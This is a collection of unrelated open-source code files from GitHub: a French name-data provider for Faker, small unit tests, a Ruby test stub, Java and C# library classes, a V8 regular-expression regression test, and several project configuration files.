namespace Faker\Provider\fr_FR;
class Person extends \Faker\Provider\Person
{
protected static $maleNameFormats = array(
'{{firstNameMale}} {{lastName}}',
'{{firstNameMale}} {{lastName}}',
'{{firstNameMale}} {{lastName}}',
'{{firstNameMale}} {{lastName}}',
'{{firstNameMale}} {{lastName}}',
'{{firstNameMale}} {{prefix}} {{lastName}}',
'{{firstNameMale}} {{lastName}}-{{lastName}}',
'{{firstNameMale}}-{{firstNameMale}} {{lastName}}',
);
protected static $femaleNameFormats = array(
'{{firstNameFemale}} {{lastName}}',
'{{firstNameFemale}} {{lastName}}',
'{{firstNameFemale}} {{lastName}}',
'{{firstNameFemale}} {{lastName}}',
'{{firstNameFemale}} {{lastName}}',
'{{firstNameFemale}} {{prefix}} {{lastName}}',
'{{firstNameFemale}} {{lastName}}-{{lastName}}',
'{{firstNameFemale}}-{{firstNameFemale}} {{lastName}}',
);
protected static $firstNameMale = array(
'Adrien', 'Aimé', 'Alain', 'Alexandre', 'Alfred', 'Alphonse', 'André', 'Antoine', 'Arthur', 'Auguste', 'Augustin',
'Benjamin', 'Benoît', 'Bernard', 'Bertrand', 'Charles', 'Christophe', 'Daniel', 'David', 'Denis', 'Édouard', 'Émile',
'Emmanuel', 'Éric', 'Étienne', 'Eugène', 'François', 'Franck', 'Frédéric', 'Gabriel', 'Georges', 'Gérard', 'Gilbert',
'Gilles', 'Grégoire', 'Guillaume', 'Guy', 'William', 'Henri', 'Honoré', 'Hugues', 'Isaac', 'Jacques', 'Jean', 'Jérôme',
'Joseph', 'Jules', 'Julien', 'Laurent', 'Léon', 'Louis', 'Luc', 'Lucas', 'Marc', 'Marcel', 'Martin', 'Matthieu',
'Maurice', 'Michel', 'Nicolas', 'Noël', 'Olivier', 'Patrick', 'Paul', 'Philippe', 'Pierre', 'Raymond', 'Rémy', 'René',
'Richard', 'Robert', 'Roger', 'Roland', 'Sébastien', 'Stéphane', 'Théodore', 'Théophile', 'Thibaut', 'Thibault', 'Thierry',
'Thomas', 'Timothée', 'Tristan', 'Victor', 'Vincent', 'Xavier', 'Yves', 'Zacharie', 'Claude', 'Dominique'
);
protected static $firstNameFemale = array(
'Adélaïde', 'Adèle', 'Adrienne', 'Agathe', 'Agnès', 'Aimée', 'Alexandrie', 'Alix', 'Alexandria', 'Alex', 'Alice',
'Amélie', 'Anaïs', 'Anastasie', 'Andrée', 'Anne', 'Anouk', 'Antoinette', 'Arnaude', 'Astrid', 'Audrey', 'Aurélie',
'Aurore', 'Bernadette', 'Brigitte', 'Capucine', 'Caroline', 'Catherine', 'Cécile', 'Céline', 'Célina', 'Chantal',
'Charlotte', 'Christelle', 'Christiane', 'Christine', 'Claire', 'Claudine', 'Clémence', 'Colette', 'Constance',
'Corinne', 'Danielle', 'Denise', 'Diane', 'Dorothée', 'Édith', 'Éléonore', 'Élisabeth', 'Élise', 'Élodie', 'Émilie',
'Emmanuelle', 'Françoise', 'Frédérique', 'Gabrielle', 'Geneviève', 'Hélène', 'Henriette', 'Hortense', 'Inès', 'Isabelle',
'Jacqueline', 'Jeanne', 'Jeannine', 'Joséphine', 'Josette', 'Julie', 'Juliette', 'Laetitia', 'Laure', 'Laurence',
'Lorraine', 'Louise', 'Luce', 'Lucie', 'Lucy', 'Madeleine', 'Manon', 'Marcelle', 'Margaux', 'Margaud', 'Margot',
'Marguerite', 'Margot', 'Margaret', 'Maggie', 'Marianne', 'Marie', 'Marine', 'Marthe', 'Martine', 'Maryse',
'Mathilde', 'Michèle', 'Michelle', 'Michelle', 'Monique', 'Nathalie', 'Nath', 'Nathalie', 'Nicole', 'Noémi', 'Océane',
'Odette', 'Olivie', 'Patricia', 'Paulette', 'Pauline', 'Pénélope', 'Philippine', 'Renée', 'Sabine', 'Simone', 'Sophie',
'Stéphanie', 'Susanne', 'Suzanne', 'Susan', 'Suzanne', 'Sylvie', 'Thérèse', 'Valentine', 'Valérie', 'Véronique',
'Victoire', 'Virginie', 'Zoé', 'Camille', 'Dominique'
);
protected static $lastName = array(
'Martin', 'Bernard', 'Thomas', 'Robert', 'Petit', 'Dubois', 'Richard', 'Garcia', 'Durand', 'Moreau', 'Lefebvre', 'Simon', 'Laurent', 'Michel', 'Leroy', 'Martinez', 'David', 'Fontaine', 'Da Silva', 'Morel', 'Fournier', 'Dupont', 'Bertrand', 'Lambert', 'Rousseau', 'Girard', 'Roux', 'Vincent', 'Lefevre', 'Boyer', 'Lopez', 'Bonnet', 'Andre', 'Francois', 'Mercier', 'Muller', 'Guerin', 'Legrand', 'Sanchez', 'Garnier', 'Chevalier', 'Faure', 'Perez', 'Clement', 'Fernandez', 'Blanc', 'Robin', 'Morin', 'Gauthier', 'Pereira', 'Perrin', 'Roussel', 'Henry', 'Duval', 'Gautier', 'Nicolas', 'Masson', 'Marie', 'Noel', 'Ferreira', 'Lemaire', 'Mathieu', 'Riviere', 'Denis', 'Marchand', 'Rodriguez', 'Dumont', 'Payet', 'Lucas', 'Dufour', 'Dos Santos', 'Joly', 'Blanchard', 'Meunier', 'Rodrigues', 'Caron', 'Gerard', 'Fernandes', 'Brunet', 'Meyer', 'Barbier', 'Leroux', 'Renard', 'Goncalves', 'Gaillard', 'Brun', 'Roy', 'Picard', 'Giraud', 'Roger', 'Schmitt', 'Colin', 'Arnaud', 'Vidal', 'Gonzalez', 'Lemoine', 'Roche', 'Aubert', 'Olivier', 'Leclercq', 'Pierre', 'Philippe', 'Bourgeois', 'Renaud', 'Martins', 'Leclerc', 'Guillaume', 'Lacroix', 'Lecomte', 'Benoit', 'Fabre', 'Carpentier', 'Vasseur', 'Louis', 'Hubert', 'Jean', 'Dumas', 'Rolland', 'Grondin', 'Rey', 'Huet', 'Gomez', 'Dupuis', 'Guillot', 'Berger', 'Moulin', 'Hoarau', 'Menard', 'Deschamps', 'Fleury', 'Adam', 'Boucher', 'Poirier', 'Bertin', 'Charles', 'Aubry', 'Da Costa', 'Royer', 'Dupuy', 'Maillard', 'Paris', 'Baron', 'Lopes', 'Guyot', 'Carre', 'Jacquet', 'Renault', 'Herve', 'Charpentier', 'Klein', 'Cousin', 'Collet', 'Leger', 'Ribeiro', 'Hernandez', 'Bailly', 'Schneider', 'Le Gall', 'Ruiz', 'Langlois', 'Bouvier', 'Gomes', 'Prevost', 'Julien', 'Lebrun', 'Breton', 'Germain', 'Millet', 'Boulanger', 'Remy', 'Le Roux', 'Daniel', 'Marques', 'Maillot', 'Leblanc', 'Le Goff', 'Barre', 'Perrot', 'Leveque', 'Marty', 'Benard', 'Monnier', 'Hamon', 'Pelletier', 'Alves', 'Etienne', 'Marchal', 'Poulain', 'Tessier', 'Lemaitre', 'Guichard', 'Besson', 'Mallet', 'Hoareau', 'Gillet', 'Weber', 'Jacob', 'Collin', 'Chevallier', 'Perrier', 'Michaud', 'Carlier', 'Delaunay', 'Chauvin', 'Alexandre', 'Marechal', 'Antoine', 'Lebon', 'Cordier', 'Lejeune', 'Bouchet', 'Pasquier', 'Legros', 'Delattre', 'Humbert', 'De Oliveira', 'Briand', 'Lamy', 'Launay', 'Gilbert', 'Perret', 'Lesage', 'Gay', 'Nguyen', 'Navarro', 'Besnard', 'Pichon', 'Hebert', 'Cohen', 'Pons', 'Lebreton', 'Sauvage', 'De Sousa', 'Pineau', 'Albert', 'Jacques', 'Pinto', 'Barthelemy', 'Turpin', 'Bigot', 'Lelievre', 'Georges', 'Reynaud', 'Ollivier', 'Martel', 'Voisin', 'Leduc', 'Guillet', 'Vallee', 'Coulon', 'Camus', 'Marin', 'Teixeira', 'Costa', 'Mahe', 'Didier', 'Charrier', 'Gaudin', 'Bodin', 'Guillou', 'Gregoire', 'Gros', 'Blanchet', 'Buisson', 'Blondel', 'Paul', 'Dijoux', 'Barbe', 'Hardy', 'Laine', 'Evrard', 'Laporte', 'Rossi', 'Joubert', 'Regnier', 'Tanguy', 'Gimenez', 'Allard', 'Devaux', 'Morvan', 'Levy', 'Dias', 'Courtois', 'Lenoir', 'Berthelot', 'Pascal', 'Vaillant', 'Guilbert', 'Thibault', 'Moreno', 'Duhamel', 'Colas', 'Masse', 'Baudry', 'Bruneau', 'Verdier', 'Delorme', 'Blin', 'Guillon', 'Mary', 'Coste', 'Pruvost', 'Maury', 'Allain', 'Valentin', 'Godard', 'Joseph', 'Brunel', 'Marion', 'Texier', 'Seguin', 'Raynaud', 'Bourdon', 'Raymond', 'Bonneau', 'Chauvet', 'Maurice', 'Legendre', 'Loiseau', 'Ferrand', 'Toussaint', 'Techer', 'Lombard', 'Lefort', 'Couturier', 'Bousquet', 'Diaz', 'Riou', 'Clerc', 'Weiss', 'Imbert', 'Jourdan', 'Delahaye', 'Gilles', 'Guibert', 'Begue', 'Descamps', 'Delmas', 'Peltier', 'Dupre', 'Chartier', 'Martineau', 'Laroche', 'Leconte', 'Maillet', 'Parent', 'Labbe', 'Potier', 'Bazin', 'Normand', 'Pottier', 'Torres', 'Lagarde', 'Blot', 'Jacquot', 'Lemonnier', 'Grenier', 'Rocher', 'Bonnin', 'Boutin', 'Fischer', 'Munoz', 'Neveu', 'Lacombe', 'Mendes', 'Delannoy', 'Auger', 'Wagner', 'Fouquet', 'Mace', 'Ramos', 'Pages', 'Petitjean', 'Chauveau', 'Foucher', 'Peron', 'Guyon', 'Gallet', 'Rousset', 'Traore', 'Bernier', 'Vallet', 'Letellier', 'Bouvet', 'Hamel', 'Chretien', 'Faivre', 'Boulay', 'Thierry', 'Samson', 'Ledoux', 'Salmon', 'Gosselin', 'Lecoq', 'Pires', 'Leleu', 'Becker', 'Diallo', 'Merle', 'Valette'
);
protected static $titleMale = array('M.', 'Dr.', 'Pr.', 'Me.');
protected static $titleFemale = array('Mme.', 'Mlle', 'Dr.', 'Pr.', 'Me.');
protected static $prefix = array('de', 'de la', 'Le', 'du');
public static function prefix()
{
return static::randomElement(static::$prefix);
}
}
|
{
"pile_set_name": "Github"
}
|
USING: command-line namespaces tools.test ;
{ f { "a" "b" "c" } } [
{ "factor" "-run=test-voc" "a" "b" "c" } parse-command-line
script get command-line get
] unit-test
{ f { "-a" "b" "c" } } [
{ "factor" "-run=test-voc" "-a" "b" "c" } parse-command-line
script get command-line get
] unit-test
{ f { "a" "-b" "c" } } [
{ "factor" "-run=test-voc" "a" "-b" "c" } parse-command-line
script get command-line get
] unit-test
{ f { "a" "b" "-c" } } [
{ "factor" "-run=test-voc" "a" "b" "-c" } parse-command-line
script get command-line get
] unit-test
{ "a" { "b" "c" } } [
{ "factor" "a" "b" "c" } parse-command-line
script get command-line get
] unit-test
{ "a" { "b" "c" } } [
{ "factor" "-foo" "a" "b" "c" } parse-command-line
script get command-line get
] unit-test
{ "a:b:c" } [ { "factor" "-roots=a:b:c" } parse-command-line
"roots" get-global
] unit-test
|
{
"pile_set_name": "Github"
}
|
class Factory
class Proxy
class Stub < Proxy #:nodoc:
@@next_id = 1000
def initialize(klass)
@stub = klass.new
@stub.id = next_id
@stub.instance_eval do
def new_record?
id.nil?
end
def connection
raise "stubbed models are not allowed to access the database"
end
def reload
raise "stubbed models are not allowed to access the database"
end
end
end
def next_id
@@next_id += 1
end
def get(attribute)
@stub.send(attribute)
end
def set(attribute, value)
@stub.send(:"#{attribute}=", value)
end
def associate(name, factory, attributes)
set(name, Factory.stub(factory, attributes))
end
def association(factory, overrides = {})
Factory.stub(factory, overrides)
end
def result
@stub
end
end
end
end
|
{
"pile_set_name": "Github"
}
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package storm.trident.planner;
import backtype.storm.task.TopologyContext;
import java.io.Serializable;
import java.util.Map;
import storm.trident.planner.processor.TridentContext;
import storm.trident.tuple.TridentTuple.Factory;
public interface TridentProcessor extends Serializable, TupleReceiver {
// imperative that don't emit any tuples from here, since output factory cannot be gotten until
// preparation is done, therefore, receivers won't be ready to receive tuples yet
// can't emit tuples from here anyway, since it's not within a batch context (which is only
// startBatch, execute, and finishBatch
void prepare(Map conf, TopologyContext context, TridentContext tridentContext);
void cleanup();
void startBatch(ProcessorContext processorContext);
void finishBatch(ProcessorContext processorContext);
Factory getOutputFactory();
}
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Diagnostics;
using b2xtranslator.StructuredStorage.Reader;
namespace b2xtranslator.Spreadsheet.XlsFileFormat.Records
{
[BiffRecord(RecordType.PivotChartBits)]
public class PivotChartBits : BiffRecord
{
public const RecordType ID = RecordType.PivotChartBits;
public ushort rt;
public bool fGXHide;
public PivotChartBits(IStreamReader reader, RecordType id, ushort length)
:base(reader, id, length)
{
// assert that the correct record type is instantiated
Debug.Assert(this.Id == ID);
this.rt = reader.ReadUInt16();
//unused
reader.ReadBytes(2);
var bytes = reader.ReadBytes(2);
this.fGXHide = BitConverter.ToBoolean(bytes, 0x1);
}
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --no-use-ic --interrupt-budget=100 --always-osr
const num_iterations = 1000;
let i = 0;
const re = /foo.bar/;
const RegExpPrototypeExec = RegExp.prototype.exec;
re.exec = function gaga(str) {
return (i++ < num_iterations) ? RegExpPrototypeExec.call(re, str) : null;
};
re.__defineGetter__("global", () => true);
"foo*bar".match(re);
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2015-present, Parse, LLC.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
/**
* Interface declaration for React Native modules
*/
declare module "react-native" {
declare class AsyncStorage {
static getItem(path: string, cb: (err: string, value: string) => void): void;
static setItem(path: string, value: string, cb: (err: string, value: string) => void): void;
static removeItem(path: string, cb: (err: string, value: string) => void): void;
static getAllKeys(cb: (err: string, keys: Array<string>) => void): void;
static clear(): void;
}
}
|
{
"pile_set_name": "Github"
}
|
{
"compilerOptions": {
"target": "esnext",
"module": "esnext",
"strict": true,
"jsx": "preserve",
"importHelpers": true,
"moduleResolution": "node",
"experimentalDecorators": true,
"esModuleInterop": true,
"allowSyntheticDefaultImports": true,
"sourceMap": true,
"baseUrl": ".",
"types": [
"webpack-env"
],
"paths": {
"@/*": [
"src/*"
]
},
"lib": [
"esnext",
"dom",
"dom.iterable",
"scripthost"
]
},
"include": [
"src/**/*.ts",
"src/**/*.tsx",
"src/**/*.vue",
"tests/**/*.ts",
"tests/**/*.tsx"
],
"exclude": [
"node_modules"
]
}
|
{
"pile_set_name": "Github"
}
|
name: example
description: A new Flutter project.
# The following defines the version and build number for your application.
# A version number is three numbers separated by dots, like 1.2.43
# followed by an optional build number separated by a +.
# Both the version and the builder number may be overridden in flutter
# build by specifying --build-name and --build-number, respectively.
# In Android, build-name is used as versionName while build-number used as versionCode.
# Read more about Android versioning at https://developer.android.com/studio/publish/versioning
# In iOS, build-name is used as CFBundleShortVersionString while build-number used as CFBundleVersion.
# Read more about iOS versioning at
# https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKeys.html
version: 1.0.0+1
environment:
sdk: ">=2.1.0 <3.0.0"
dependencies:
flutter:
sdk: flutter
frideos:
path: ../
# The following adds the Cupertino Icons font to your application.
# Use with the CupertinoIcons class for iOS style icons.
cupertino_icons: ^0.1.2
dev_dependencies:
flutter_test:
sdk: flutter
# For information on the generic Dart part of this file, see the
# following page: https://www.dartlang.org/tools/pub/pubspec
# The following section is specific to Flutter.
flutter:
# The following line ensures that the Material Icons font is
# included with your application, so that you can use the icons in
# the material Icons class.
uses-material-design: true
# To add assets to your application, add an assets section, like this:
# assets:
# - images/a_dot_burr.jpeg
# - images/a_dot_ham.jpeg
# An image asset can refer to one or more resolution-specific "variants", see
# https://flutter.io/assets-and-images/#resolution-aware.
# For details regarding adding assets from package dependencies, see
# https://flutter.io/assets-and-images/#from-packages
# To add custom fonts to your application, add a fonts section here,
# in this "flutter" section. Each entry in this list should have a
# "family" key with the font family name, and a "fonts" key with a
# list giving the asset and other descriptors for the font. For
# example:
# fonts:
# - family: Schyler
# fonts:
# - asset: fonts/Schyler-Regular.ttf
# - asset: fonts/Schyler-Italic.ttf
# style: italic
# - family: Trajan Pro
# fonts:
# - asset: fonts/TrajanPro.ttf
# - asset: fonts/TrajanPro_Bold.ttf
# weight: 700
#
# For details regarding fonts from package dependencies,
# see https://flutter.io/custom-fonts/#from-packages
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.